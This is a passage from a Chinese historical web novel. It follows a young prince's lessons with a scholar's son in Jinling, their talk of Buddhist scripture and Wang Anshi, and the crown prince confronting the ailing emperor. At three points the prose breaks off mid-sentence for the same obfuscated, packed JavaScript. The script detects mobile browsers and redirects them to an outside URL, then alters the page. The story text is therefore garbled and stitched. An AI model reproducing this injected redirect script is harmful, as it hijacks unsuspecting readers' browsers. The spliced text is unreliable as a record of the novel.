阿难尊者决心拜入佛陀门下伊始,也是因见色起意,对佛陀的色相着了相。此后因果报应,他也遭摩登伽女苦苦纠缠。
但最终阿难尊者成了佛的十大弟子,摩登伽女正心得阿罗汉道,是以足可见若是己心坚定,纵算初为色相所诱,也不会沉沦于地狱。
更何况这位小世子方才的举动,可谓是无相布施了。
这是他这么多年来从未见到过的。
他虽常年随父理佛,也曾拜过大儒研习阳明心学。
父亲一生究其奥义,来了报恩寺后更是潜心修养,反复琢磨佛经典籍,还将自己的号改为“何住先生”。
云何应住,云何降服其心,怎样安住自己的心,怎样去除心中一切杂念,这其中的含义不言而喻。
然而,心又是这么好降服的吗?
一念一动,不过瞬间,它未曾停留,永远在变化,故而佛曰“过去心不可得,现在心不可得,未来心不可得”。【2】
至此云梵一直认为《阿育王传》里,向佛供养黄沙的稚子之举,着实罕见。
稚子观黄沙,不亚于商人观黄金,而他竟愿意将此布施于佛,的确是无心、一念的诚意供养,未曾有施恩于人的念头,这便是无相布施。
云梵本是不信这世间当真会有人如此行事的。
这反倒令他升起了一丝少见的捉弄心态。
于是云梵郑重地将那株野菜收入怀中,面色未改,低眉敛目,向傅谊道谢:
“那小生便多谢世子殿下了。您这一无相布施,颇具禅意。其实小生并不是寺中法师,若殿下乐意可唤我为降心,在下单名一个梵字,家父——正是先太傅。”
7. 第 7 章
如若没听到最后一句话,傅谊还是很乐意再多看几眼这人,顺便再多夸几句的。
谁料他瞧着气度非凡,面善好说话,却是一肚子坏水儿。
看热闹看了这么久,这会儿嘴上才轻飘飘的来了一句“家父云离”。
刹那间把傅谊飘到爪哇国的魂儿给震回来了。
此话早不讲晚不讲,还惹得自己误以为他是在寺里带发修行的居士。
但凡此人一见面时就表明身份,他也不敢嘴上没个把。
傅谊当即对云卷云舒怒目而视。
反正是一点儿也没想起来,俩人在刚见云梵的时,就实实在在地喊了声“大哥”的。
不久云离也过来了,提着几个食盒,招呼着大伙一起用午膳。
期间,傅谊的眼神一直不自觉地往云梵那飘,生怕此人向先生告状,以至于都没了心情品味桌上的菜。
不过云离未曾注意到傅谊在暗中的这点小动作。
因为此时,他正不亦乐乎地看着云卷云舒为了争块大些的素鸡而大打出手。
被傅谊盯着的云梵本人倒是并未有多大反应。
他慢条斯理夹起一块凉拌杨花萝卜,在傅谊的注视下,浑然不知似的吃了起来。
那萝卜被嚼得嘎嘣脆,听起来很是爽口。
看得傅谊不免悄悄咽了一小口水。
他估摸着这人都吃得这么香,应当是不会把方才的事给说出去了,于是放下些许戒心,正准备朝那碟糖醋杨花萝卜伸筷子。
谁料正好迎上云梵抬头,两人的目光不由撞在了一起。
傅谊不免一阵心虚。
可他又觉得云梵眼中的笑意似乎有些不怀好意,心中警铃大作,顿时将筷子换了个朝向,夹了块不知名的凉拌素菜,埋头就往碗里扒。
意外发现口感还不错,便又多夹了几次。
他本以为自己就此能美美吃上一顿,耳边却是忽然传来云梵的声音,正和和气气地向他搭着话:
“我见殿下似是很喜欢这道凉拌什锦菜呢。”
“也不全是,素日里我还是更喜欢吃肉多些,”傅谊稍稍矜持了下,“只不过今个觉得这道菜口感不同于寻常素菜,这才多留意了几分。”
“寻常菜式可不会一下子放十来种素菜的,”云梵笑了笑,“这道什锦菜是金陵过年时的一种特有食俗,里头往往也会放上些诸如荠菜豌豆叶之类金陵人爱吃的野菜,做起来可比一般菜要费事。”
“嗯,竟然有这么多种吗?我倒要来数数。”
这话勾起了傅谊的好奇心。
他放下碗,专心致志地用筷子扒拉起碗里头的什锦菜。
“殿下莫急。您若是好这口,晚上回府时我不妨叫厨子再做一顿便是。只是地上那堆菊花脑,您打算如何处置……?”
千算万算没算,傅谊没算到云梵会在这时问起他这个。
他一下子坐立难安,差点没捧住碗。
“吃个饭还冒冒失失的,这传出去,可还像话?”
云离啧啧感叹了几句,听到云梵之语,低头瞧了眼地上堆的菊花脑,眉头不禁一皱。
“这菊花脑的根都没摘,还带着土,是谁采的?二五郎当的。”
傅谊:“……”
他悄悄地拿胳膊肘捅了一下正在啃着素鸡的云舒,低声问他“二五”是什么意思。
然而云舒抢来的那块素鸡太大,塞得嘴里满满的。
含含糊糊哼唧了几句,傅谊也没听清究竟在讲啥。
倒是耳朵挺尖的云梵“好心”地替他解释了一番:
“二五嘛,就是说这个人有点傻。毕竟众所周知,菊花脑只吃嫩茎叶。”
随即话锋一转,话头又带到这菊花脑上面。
“择了这么多,要不烧个菊花脑蛋汤去去火吧。毕竟之后世子殿下也要随我好好温习一番功课,多备着些,总归没什么差错。”
傅谊:“……?”
傅谊的眼神霎时变得惊恐了起来。
他本以为这人顶多向先生告个状,到时候也不过挨先生几句骂便是。
没想到这人打的竟是如此算盘!
明明先生说的是让云降心带着自己在金陵城内转几圈玩玩,可到了此人嘴里,却变成了一起温习功课。
当真是好深的心思,好歹毒的心肠!
云离却是赞同地点了点头。
他给傅谊夹了一筷子完整的素鸡,省得云卷云舒又在那抢,随声附和道:
“这倒是,太子殿下也在信中向我提到此事。可惜老夫如今只一心向佛,在这寺庙里为你讲学难免不合规矩。不如就让梵奴带着你学吧,学业一事,他也算小有所成,把你交给他,我也放心。”
“是,我定不负父亲所托,从今日开始,好生教导世子殿下。”
云梵特意放下碗,拱手向云离和傅谊分别致意。
这父子俩一唱一和之间,早已定好了他的任务,不容他堂堂陶王世子发表一下意见。
气得傅谊一口银牙差点咬碎了,忿忿地咬着卤素鸡。
不得不说,一整块大的卤素鸡咬起来确实十分过瘾。
一口咬下去,就“嘎吱嘎吱”地迸溅出许多卤汁,可谓是软中有韧,鲜中有甜。
午后,云离在禅房里诵经,云梵则领着蔫了的傅谊回云府念书。
云卷云舒跟在后头连连宽慰,也没能使得傅谊再重振精神。
“世子殿下大可不必如此沮丧。金陵城内周山环绕,过午最为炎热,着实不宜在外头跑。不如先学几篇文章,待到溽暑之气消了,我再邀您去夜泊秦淮,可好?”
云梵一边好声说与傅谊听,一边吩咐云卷云舒将早已备好的纸笔搬到书桌上。
看来这是场蓄谋已久的阴谋。
傅谊冷哼一声,赌气不做应答,但想到临行前自己对福安哥哥的承诺,忍了忍,终还是不情不愿地坐下。
等了半天,却不见云降心拿书来。
傅谊感到奇怪,试着喊了他一次,那人则温顺地应了一声,就没了下文。
“书,书何在?”
傅谊伸手示意,云梵露出个恍然大悟的神色,接着道,
“今日我们不用书,就由世子殿下说说您喜欢看的文章吧。父亲曾告知于我,世子殿下似是极为不喜欢四书五经,我便想着要不就讲些世子殿下喜欢的东西吧,这样您也有兴趣不是?”
“嗯,善。”
傅谊满意地点了点头,对此人的印象稍微好了些。
他思索了一会,抽出一张纸,唰唰写了一堆。
大抵是些游记、食谱、戏文和话本之类。
交予云梵过目的时候,傅谊一边偷瞄着云梵的神色,一边心虚地解释了几句,以此来证明自己也不是那么的不学无术:
“其实我本也不是那么讨厌四书的,若不看朱注倒也能看下去。我是觉得六经四子有解不如无解。完完全全几句好白文,却被训诂讲章说得零星破碎,岂不重可惜哉!”【1】
“世子殿下此言在理,我也不喜读注。千万人读书,自有千万种见解,又何必只拘泥于那一家之言?”
听闻此话,傅谊的眼中不由亮了亮。
话说离相先生,书是教得极好,人也健谈风趣,只是一谈及到课业,那要求不可谓不严格。
他任太子太傅一职时,课上可是半点容不得他对圣人们胡言乱语。
没想到先生的儿子却是个通情达理的,可谓是英雄所见略同啊!
云梵大致扫了一眼。
平心而论,小世子的涉猎范围还是蛮广的,除了正经书,吃喝玩乐一应俱全。
将这些情况了然于心后,云梵笑着将这纸还给傅谊:
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14505085|154964||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“世子殿下不愧是生在皇家啊,这里头有好些书我都未曾听过,殿下却是信手拈来,真是好福气。”
“哈,这福气,给你你要不要?”
傅谊翻了个白眼,随手将这纸叠了起来。
别说,他还真不想生在这皇家呢。
如若自己只是个普通的纨绔子弟,倒也不必头疼课业与朝堂上的那些事儿了。
云梵连连摆手,马上把自己推了个一干二净,
“还是不了吧。这福气可不是人人都能受得起的。命贵之人得了,那叫有福分;命薄之人得了,那叫倒大霉。我观世子根骨奇佳,命格不凡,定是前者。”
“那便奇了怪了,你一直不是长在和尚庙里的吗,什么时候又跑去道观,跟那群牛鼻子学算命去了?”
傅谊不依不饶,狐疑地盯着云梵。
“世子殿下怕是忘了,家父先为太子太傅,儒释道三者皆通。这相人观面一说,父亲倒是曾为太子殿下和世子殿下提及过一些,也仍记得太子当时颇为不悦的神色。可怪哉,世子殿下竟对此没有半分印象,那究竟是家父老糊涂了,还是世子殿下做伴读的时候,根本没好好听课?”
“嗯……这倒是个好问题,容我先想想。”
傅谊装模做样地咳了几下,左手握拳,右手刚想摸本书来掩盖下自己尴尬的神色。
不料忘了云梵根本没有备书的事儿,只得讪讪收手。
“世子殿下不记得也不要紧,也用不着绞尽脑汁想半天。要不容在下为您补充一些吧,省得殿下到时候书到用时方恨少,如何?”
“行吧,你说就是了,我听着呢。”
“好,既然世子殿下问我,这福气给我我要不要,想必也是知道了,此福报本身就无定性。所谓福报,在某个时候是福报,在另一个时候则是痛苦。”
“所以《金刚经》第八品,佛言,是福德,即非福德性,是故如来说福德多。
“我也知世子殿下对一些事非常不满,可塞翁失马,焉知非福?这在别人眼里的好福报,在世子眼里也并不如此,反之亦然。可殿下也别忘了,任何的福德福报只有一个时期,福气享受过了那段时日,也是空,毕竟其本身无自性。”
“可最后一句话呢,这是是什么意思?如来既然都说了福德无定性,可为何又要说福德多?”
“殿下说这句啊。其实以我之见解,它兴许并不适用于您身上。殿下是那脱笼之鹄,志不在此,想必定是不愿被此句所束缚的。况且我方才所言,福报无自性,我也就不将其强加于世子身上了。”
“你不说我又怎么知道呢?还不快解释解释。”
傅谊不满,他最讨厌有人讲东西吊着一半不讲,便催促着云梵赶紧说,不知不觉听得入了神。
云梵清了清嗓子,向傅谊做了个稍安勿躁的手势,
“所谓无自性,即不固定,非永久存在的。换言之,佛其实有一句秘密尚未说出口,那便是真正的福报即为悟道,汇大智慧而成。它已然超脱于事实,非世间一切福报所能办到。”【2】
“所以如来说福德多,也就是在勉励人们,这样布施教化的结果,福德非常多。
““若复有人,于此经中受持,乃至四句偈,为他人说,其福胜彼’,纵算对《金刚经》不甚了解,可只要那所言之人因劝导,解脱了旁人的烦恼,那么此人的福报,比布施三千大千世界七宝的福报,还要来得大。”
云梵顿了顿,垂眸望向傅谊,那如琉璃一般温润的眼神就轻轻落在傅谊身上。
他说这话的时候,嘴角擒着一抹笑意,以至于多年以后,傅谊仍忘不掉他当时的神情语调:
“这便是我之所求,故而方才世子殿下问我这福气给我要不要,我答不要。我的福报,就在于为殿下解惑罢了,若您的烦恼有所消减,我自是心生欢喜,非比寻常的。
8. 第 8 章
大抵是被云梵那一番煞费苦心的劝学给感动住了,傅谊难得一次能安安分分地听完一整堂课。
期间云离不放心,生怕这小子不服气,闹腾半天把他的书房给拆了。
是以念经念了一半,云离便悄悄地回了云府,猫着身子和云舒从门缝里偷看。
当看到傅谊居然正襟危坐地在书桌旁,听云梵讲解时,云离大为震撼。
他激动地对着云舒耳语几句,说是教书十余年,除了罚抄,没见过陶王世子在椅子上安稳地坐了那么久。
原因无他,只因云梵挑了篇王荆公的《游褒禅山记》,很合傅谊的兴趣。
为了方便记忆,傅谊还画了一幅地图,简洁明了地标出了各个景物的位置,兴冲冲地展示给云梵看。
“不过在我画完后再读这篇文章,我总觉得王荆公似乎不只是在写景,更像是借着探洞一事引出他的观点?”
傅谊提笔,垂首打量着自己的画。
而后又在文章上面落了笔,于“而世之奇伟、瑰怪,非常之观,常在于险远,而人之所罕至焉,故非有志者不能至也”一句,划了道墨线。
“世子殿下果真聪慧过人,那您可有从其中看出什么特别之处?”
“唔,此篇文章,倒是不难看出王荆公想要变法的决心。‘尽吾志也而不能至者,可以无悔矣’,我素来最为倾佩他这类人意气风发、矢志不移。天命不足畏,祖宗不足法,人言不足恤!”【1】
“所以有传言道,东坡居士那一首《题西林壁》,‘不识庐山真面目,只缘身在此山中’,就有暗讽王安石变法之意呢。”
“竟有此事?!”
傅谊惊得眉毛都抖了几抖。
而云梵便借此机会讲了不少王荆公与苏子瞻的往事,傅谊一一记下,觉得很是新奇。
“……自王荆公罢相后,就在江宁,也就是如今的金陵,钟山定林庵内建了一座书斋,名为昭文斋。”
“钟山?太/祖与孝慈高皇后的陵寝就是位于此处,说来我初到金陵,竟是忘了去拜祭一番。不如待我择日祭拜先祖之时,顺便去探访一下昭文斋?”
“世子莫急。如今天气炎热,不妨过些时日,等降了雨再去吧。昭文斋居于钟山半山腰处,上下一趟颇为困难。殿下若是有这个闲心,可以一试。”
说到此处,云梵叹了口气,语气很是惋惜,
“荆公昔有诗名《昭文斋》:我自山中客,何缘有此名。当缘琴不鼓,人不见亏成。”
“昭文非官衔,而是琴师名。有成与亏,故昭氏之鼓琴也。无成与亏,故昭氏之不鼓琴也。”
“荆公变法经年,毁多过誉,以致世人皆忘其所为,竟令昭文斋荒落至此,着实不该啊。”
“这有什么好叹气的?我倒觉得这不乏为一妙事。”
傅谊忽地冒出来一句,摇头晃脑地吟诵起一则《陋室铭》:
“山不在高,有仙则名。水不在深,有龙则灵。斯是陋室,惟吾德馨。”
“若有亲,有友,有知己,且任寻一处,追寻往事,无旁人搅扰,清静凝神,可与万物之通灵。此间是非对错,无需他人所言,你我皆知,会心一笑。”
然而等了半晌,不见云梵来夸,对面也没个声音。
傅谊郁闷抬头,寻思着自己是不是又哪里说错了话,却见云梵正神色不明地盯着自己。
直至看得傅谊浑身毛都快竖起来了,云梵这才收回了目光。
他的语气和先前没什么区别,可傅谊听着就是觉得哪里有些不一样。
“世子殿下如此伶俐,别有一番见解,着实让我大吃一惊,这才唐突了殿下,还请恕罪。”
“无碍无碍,那我今个表现得这么好,可有什么奖励?”
迎着傅谊眼巴巴的目光,云梵微笑颔首,
“我已让云卷去买了烤鸭卤鸭肝卤鸭心,顺带着捎点儿甜食回来。蓝老大糖芋苗,白下元宵铺的桂花莲子赤豆元宵,世子殿下可要尝尝?”
“好,我全都要,别忘了还要煮上一锅菊花脑蛋汤,我要泡饭吃。”
“好,都行。”
随后傅兴冲冲地离开了书房,去找云卷要吃的了。
云梵盯着他的身影,复又陷入沉思。
云舒从一旁走出,瞧瞧逐渐远去的傅谊,又瞧瞧公子,感叹道“
“世子殿下活泼通透,是个难得一见的妙人儿,却生在紫禁城内帝王家。哎,如此不合时宜,也不知是福是祸……”
“是福是祸躲不掉,”云梵淡淡回道,“时也,命也。大道无常,且看他有怎般的造化了。”
“对了,记得书信一封,喊闵老子赶紧回来。小殿下这几日偏要去桃叶渡寻他讨盏茶喝,说是喝不到势不罢休,别让世子等急了。”
似是想起了什么事儿,云梵对云舒嘱托了一番。
云舒应声而去,只留下云梵独自站在书房内,不知在想什么。
而另一边,陶王世子傅谊这几日也颇为忙碌。
从云梵那下了学,他就跑去桃叶渡找闵汶水。
闵汶水,又称闵老子,金陵城内一茶博士是也。
在京城的时候,傅谊就曾在林家茶楼里听过闵老子的名声,只可惜当时没能与其见面。
所以这次南下金陵,来了人家的地盘,他又岂能再次错过?
只不过傅谊一连跑了两三趟,一次面也没见着。
应天府尹邀他去林老板名下最大的酒楼——晚晴楼里吃小吃,傅谊没去。
云舒邀他去夜泊秦淮,坐条画舫听小曲儿,傅谊也没去,满心满眼念着的都是先去喝了闵老子手中的那盏茶再说。
就连在向京城写书信的时候,傅谊也没忍住发了几句牢骚。
说这闵老子也不知跑哪去了,他堂堂陶王世子天天蹲在人家门口摘莲蓬,剥莲子。
剥得桃叶渡那一块的莲蓬都快被他摸完了,也没等到个人影儿。
过了一旬,傅谊依旧没等到闵老子。
茶没喝到,读的书倒是多了不少。
所幸云府离闵老子所在的桃叶渡不远,而且云梵讲得也不错,深入浅出,傅谊也没什么怨言。
这一日歇息,傅谊嫌天气太热,便跑去白鹭洲里嬉水了。
有云卷云舒跟着他,云梵倒也放心,同父亲云离坐在院子里的亭子内乘凉。
云离则悠闲地摇着蒲扇,不时啜几口冰镇过的酸梅汤。
没几下杯中的酸梅汤就见了底,云理理所当然地指使着云梵再去弄点来。
“父亲难得回来这一趟,莫不成是专程来喝酸梅汤的?”
“那可不是,你那晚晴楼里卖的酸梅汤可不便宜,另添一壶还需一分银子,我这不得多喝几口?”
云离接过杯子,几口下去,半杯子酸梅汤又没影了。
“说来谊儿近来的学业如何?你若再不抓紧教些,不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14505086|154964||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
久圣上怕是就要召他回京城了。”
“世子殿下很是聪慧,除却贪玩了点,感兴趣的内容学得倒蛮快。我顺着他的心思挑了几篇荆公的文章,于变法相关事宜,他颇有一番见解。”
“如此甚好,他若日后也有变法之心,老夫这一辈子也就安心了。我只担心他这一回京城,怕是要天翻地覆啊。”
“的确如此,”云梵低头,扒着手指算了下,“八月秋闱,来年春闱,三月十五殿试,六月初六又是六年一考的京察和三年一考的大计,难怪皇上如此心急火燎地要找个赵除佞来牵制朝局。”
“圣上即位初期,崇正党把持朝政已久,这几年才逐渐衰落。我们这些从崇正书院出来的,不免遭皇上忌惮。可惜,还是有人还是想冒着掉头的风险往上爬。”
云离无奈摇头,身子不自觉地地往背后栏杆一靠,结果被烤得火辣辣的乌漆烫得又缩了回来。
“萧阁老和小阁老此事,做得着实太龌龊,用齐涵虚的一条命去试探皇上的态度,他们竟还能心安理得地坐在内阁里捞钱。父亲,您这同门师兄,用您的学生连声招呼都不打,当真是不客气啊。”
云梵的嘴角一如既往地挂着抹笑意,然而话里话外都透着丝丝冷气。
“是啊,我是受不了朝廷的明争暗斗,皈依佛门了。既不为同僚,自然没什么可说,只是可怜了涵虚。我本不愿再涉入是非之中,奈何情形不许……”
“萧锵他也是老眼昏花了,快七十的人了,怎得还是这般没有眼力见?皇上圣体有恙,他还一个劲地指示手下讨伐赵除佞,为涵虚讨公道,此次圣上的风疾来得如此猛烈,怕不就是被他给气的。”
“我让京城那家茶楼的掌柜去查了查,齐涵虚尚未被拖去午门前,就有人早已将他的家室送离了京城,想必是小阁老的人。”
“小阁老萧藩,此子狡诘机智,畅晓经济时务,绝不可忽视。若是太子与陶王世子日后被此人所操控,后果不堪设想。你一定得让人盯着。自我以求佛问道的借口离京后,朝中几近无人,也只能靠你行商来打探点消息了。”
“所幸金陵城内的官员大都是我们的人,也不是不能用。对了父亲,可要让甘清以应天府尹的名义将卢点雪贡监进国子监?”
“去岁卢学子考取了秀才,没几个月也二十了,前途不可估量,不若之后送她入国子监?若是秋闱中不了举,她也可在国子监里深造一番。”
“不必,此事不宜声张。本朝虽说未有女子不可参加科举的禁令,但世间普遍认为读书只是男子的事,甚少有女子入学堂求学。”
“当年吾之挚友李温陵,点雪的先生,那么离经叛道的一个狂人,建了所女子学堂,最后却被人们一把火烧了个干净,梵奴,你说为何?”
“是儿关心则乱了。李先生之所以收她为徒,正是因为看重了她勤勉好学的品性,出儒入墨,如洪炉点雪,一点即通,想来是不需要我多此一举。就目前而言,她一女子若是进了国子监,也难免会遭他人轻视与欺负。”【2】
“这便是了。况且他李温陵入狱前曾嘱我一件事,定让我在点雪的二十岁生辰那日,亲口告之她的字。”
“他很是惋惜,尚未在看到自己的得意门生别有一番作为时便早早地殉了道。”
“可是李先生早已为她取好的字?”
“正是。澄怀观道,静照忘求,他愿自己的学生心境澄明,不失童心,故为澄怀。”【3】
9. 第 9 章
京郊,温泉别院。
太子傅谙收到了傅谊寄来的书信。
正读到傅谊发牢骚的部分,傅谙不由想象着傅谊写信时气鼓鼓的模样,一个没忍住笑出了声,引得身边的小宦官侧目。
小宦官拿了件翠蓝绉纱道袍,笑着走上前来问道:
“千岁爷可是又在看世子殿下寄来的书信了?不然怎的这般高兴。”
“是了,这小子真是片刻也安分不下来。这不,又跑去别人家门口剥莲子吃了。”
傅谙回答道,由着小宦官为他穿上并整理好。
“那千岁爷可得好好提醒一下世子殿下,这菱角性寒,吃多了肚子容易胀气,可不宜贪嘴啊。”
“放心,他身体好着呢。孤见他写的每日吃食从不重样,哪还有肚子吃那么多莲子?”
“原来如此,千岁爷自个儿也别忘了保重身体才是。只是这趟门,咱一定要出吗……?”
小宦官忧心忡忡地抬起了头,又拿起个折扇递到傅谙手边。
他名为黄保,正是先前跑进宫里欲救齐涵虚的那位。
他是傅谙的大伴认的最后一个干儿子,年龄也最小。
所以傅谙在老太监死后,就将黄保由火者升到了长随,不仅留在身边让他贴身侍奉,还把他送进了内书堂读书。
“君父有恙,做臣子与孩儿的怎可袖手旁观?是禁足令又如何?!”
傅谙接过折扇后,拿着它颇为烦躁地扇了扇风,
“何况赵除佞传的口谕里,说的是当朝太子不得擅自出去,又没说皇上的独子不能去为父亲侍疾。再说,指不定是有些人矫诏传令,孤得去找父皇问个清楚。”
他语气凛然,显然是心意已决。
语毕,便毅然决然地跨过门槛,一瘸一拐,头也不回地走了。
夏日的天黑得愈发得晚。
当傅谙趁着天色,从暗道偷偷溜进皇帝寝宫时,靖安帝已经开始打坐了。
若非情非得已,傅谙也不愿以如此方式潜入宫中。
前些日子里,前朝上的奏本如雪花一般飞来,皆是在弹劾太子不孝,居于温泉行宫享乐却不关心陛下之龙体。
然群臣殊不知靖安帝早已私下命赵除佞传了口谕,不许太子踏入宫中一步。
眼见皇上身体每况愈下,吃了多少丹药都不见好,傅谙无奈,看在眼里急在心里,但又不能明面上违背禁令,只得另辟蹊径,偷摸着从暗道里进了皇宫。
在此之前,他从未打开过这个暗道,对此处不甚了解。
又因他自身还有些跛足,跌跌撞撞地,难免弄出了些动静。
靖安帝本在太极八卦台上打坐,养精蓄锐。
忽闻暗道里传来一些动静,他当即取出玉杵,轻击铜磬。
立在旁边的赵除佞当即心领神会,连忙屏退寝宫内的一众宫女和太监,顺手捎上门,退了出去。
须臾,靖安帝缓缓从蒲团上起身。
他面色凝重,闭目合齿,舌抵上腭,炁聚下田,脚步罡踏斗,踏卦卜筮。
傅谙甫一出暗道,见到的就是这番情景。
大殿空空如许,内侍皆不在,唯靖安帝一人振臂疾走,绕着八卦台打转。
末了停下,撩衣抬脚望着台边的卦象。
傅谙的目光也不由地朝着那幅卦看去:
三个阳爻。
此为乾卦,乃大吉之兆。【1】
他不由舒了口气。
身为太子,他虽不喜老庄之说,但碍于父皇求道心切,或多或少傅谙也算略懂些爻辞卦象。
于是他理了理了衣服,准备朝靖安帝跪下,向父皇道一声贺。
不料靖安帝却跟没看见他一般,只死死盯着那卦,口中似乎在念叨着什么。
那声音很小,初时傅谙未曾听清,直至靖安帝不停地又重复了几次,他才听明白那说的是“西北”。
傅谙大骇,话卡在了喉咙里,“噗通”一声跪了下去。
乾位为西北方,这点他竟是忘了。
如今西北旱情严重,饿死了不少百姓,再这么下去,怕是要……
傅谙不敢继续想下去。
齐涵虚的下场,众人有目共睹,自此与西北相关之事无人再敢向皇上提起,只能尽量压着。
那边太子还在胡思乱想,这边靖安帝倒是浑然不觉。
念叨完这几句,似觉不甚满意,他转过身,用玉杵猛击法器,在铜磬震耳欲聋的回声里,疯了一般地围着八卦台继续跑着。
靖安帝跑得很急,全然无先前那副镇定的神态,面露癫狂之色,甩得道袍呼呼作响。
疾风骤雨般的动静过后,他复又低头瞧了一眼脚下的卦象。
仍是乾卦。
上乾下乾,纯阳象生。【2】
乾:元亨利贞。
《象》曰:天行健,君子以自强不息。
靖安帝这才安了心,望着面前的太子,良久,长叹出一口浊气,断断续续的:
“你,本不该来。”
“儿臣若是不来,陛下身边还有谁能为您侍疾呢?”
如今见靖安帝可谓是形销骨立,傅谙刹那红了眼眶。
他伸出手想要扶父皇去床上歇息,却被靖安帝所制止。
“都让你待在温泉行宫里歇着养腿,你不听,偏要跑朕这来沾病气。你倒好,让阿谊跑去金陵躲清闲,自个却偏要来趟这趟混水。”
“说吧,这几日看了不少奏本和题本,可看出了什么名堂?”
“是儿臣不孝,未能向君父尽孝。”
“孝道?朕命你好好待在行宫里,你却不听,跑出来跟朕讲孝道!你可还把朕这个父皇放在眼里?!”
靖安帝暴怒,猛地直起身子,拿着玉杵指着傅谙,宛若一头咆哮的狮子,
“你就这么听那些狗屁文官的话?朕杀个齐涵虚,就是为了让你被他们牵着鼻子走的吗?!”
“你是不是不知道,他们要朕废你,废了你这个太子之位!朕花了这么多年,才把那群从崇正书院里出来的崇正党的气焰打消得差不多!”
“云离相走了,他们还不甘心,又推了个齐涵虚上来试探朕?好啊,那朕就让他们知道,朕的态度是什么!”
“陛下息怒,”
傅谙“噗通”一声跪在地上,满脸都是冷汗,却仍竭力为云离说情,
“先太傅绝无此意,齐涵虚之死,他也万分痛心。先生辞官回乡修行已久,这么多年无心于朝堂,连太子太傅都不愿当了,又怎会愿意再插手这件事?想必先生先前也不知晓此事……”
“呵,他是去修佛了,清心寡欲了,可他身边的人可还在朝堂上,也没跟着他一起去皈依啊,”
靖安帝冷哼一声,目光如炬,
“内阁首辅萧锵,云离相的同门师兄,你说他知不知情?自打齐涵虚死后,他手下的人每日一封奏疏,巴不得朕赶紧严惩赵除佞。怎么,就允许他们培植自己的人,朕就不能养条听话的狗?”
“儿臣也觉得,此事更像是萧首辅的手笔……此人素来擅长写青词,为何又要让礼部尚书季无忧推荐个从不愿写青词的齐涵虚来写?谁不知季无忧正是萧首辅的门生。”
“他们明面上是为了齐涵虚的前程着想,实则就是把人往火坑里推。若是依先生往日的脾性,他定不会同意此事。”
“故而眼下就只有一种可能,那就是齐涵虚曾与萧首辅私下商量过,愿以身试险……”
“所以你和阿谊的人在京里转了几圈,都没找到齐涵虚的家室吧?好一个以身试险,贤名给他们,骂名朕来背,打得一手好算盘。”
“祸起萧墙,季孙之忧,就让他们自个折腾去吧。不过此事一过,修佛的何住先生怕是要跟萧锵反目为仇了……哼,我倒要看看,这朝廷里还有多少是他萧锵的人!”
消了些气,靖安帝又坐到八卦台上面,一手将玉杵支在地上,一手扶额,用力喘了几口气。
傅谙略微犹豫了会,还是走上前去,轻轻地拍了拍靖安帝的背,为他顺顺气儿。
“其实儿臣此次前来,还有一件事想恳请父皇恩准……”
“说吧。”
傅谙站着没动,一咬牙,竟是又跪了下去。
“儿臣恳请父皇罢黜我的储君之位,另立陶王世子傅
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14505087|154964||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
谊为太子。我大琝朝的皇位,将来不能由一个不良于行的瘸子来继承。”
“……”
“你先起来,去,给朕倒杯水。”
傅谙起身,靖安帝闭上眼,不再看他。
直至傅谙缓缓走到案几边,将水倒好,靖安帝复又睁了眼,却只盯着手中那根玉杵瞧。
“你可知,这玉杵是何人所做?”
闻言,傅谙仔细地打量了一下。
用的是上好的羊脂玉,雕工流畅,还缀以不少鲜艳的宝石,心下了然:
“回父皇,应是皇叔所做吧。”
“没错,正是朕的皇弟陶王所做。”
靖安帝摩挲着这根玉杵,又敲了一下铜磬,铜磬发出一阵悠长的击磬声,让他不禁陷入回忆。
“这父子俩,要说像,也真像。一个喜欢捡玉石,宫里就属他殿里的宝贝最多;一个喜欢种花草,挖得西苑暗处的坑一个接一个,奇花异草全挪陶王府后院去了,还当别人看不见。”
“要说听话嘛,也都听话。朕当年身子不好,要修道,是陶王率先跑去蜀中寻药,不仅亲自雕了根玉杵进贡给朕,顺带还娶了个媳妇儿。”
“阿谊啊,皮是皮了点,倒也蛮听你话。朕都让赵除佞睁一只眼闭一只眼放他出宫,竟还被你给逮回来安安分分地参加斋醮。还好之后陶王妃关他禁闭,你又打发他去金陵跟着云离相念书去了,总算没惹出什么乱子。”
“只可惜,皇弟的身体也不好。天不假年,为何都等不到朕羽化而登仙的那天啊!”
说到此处,傅谙明显看到,靖安帝的眼里有泪花在闪烁。
然而傅谙不知道如何宽慰父皇。
有些情感,不是旁人易位而居就能体会到的,是以只能以沉默应对。
“朕患风疾,朕的皇弟因病早逝,朕的儿子不良于行。朕已经够苦了,只想你日后安安稳稳地活下去,给你留几个可用之人。
“可为何他们,他们就不愿放过你,甚至以此来攻讦你?!”
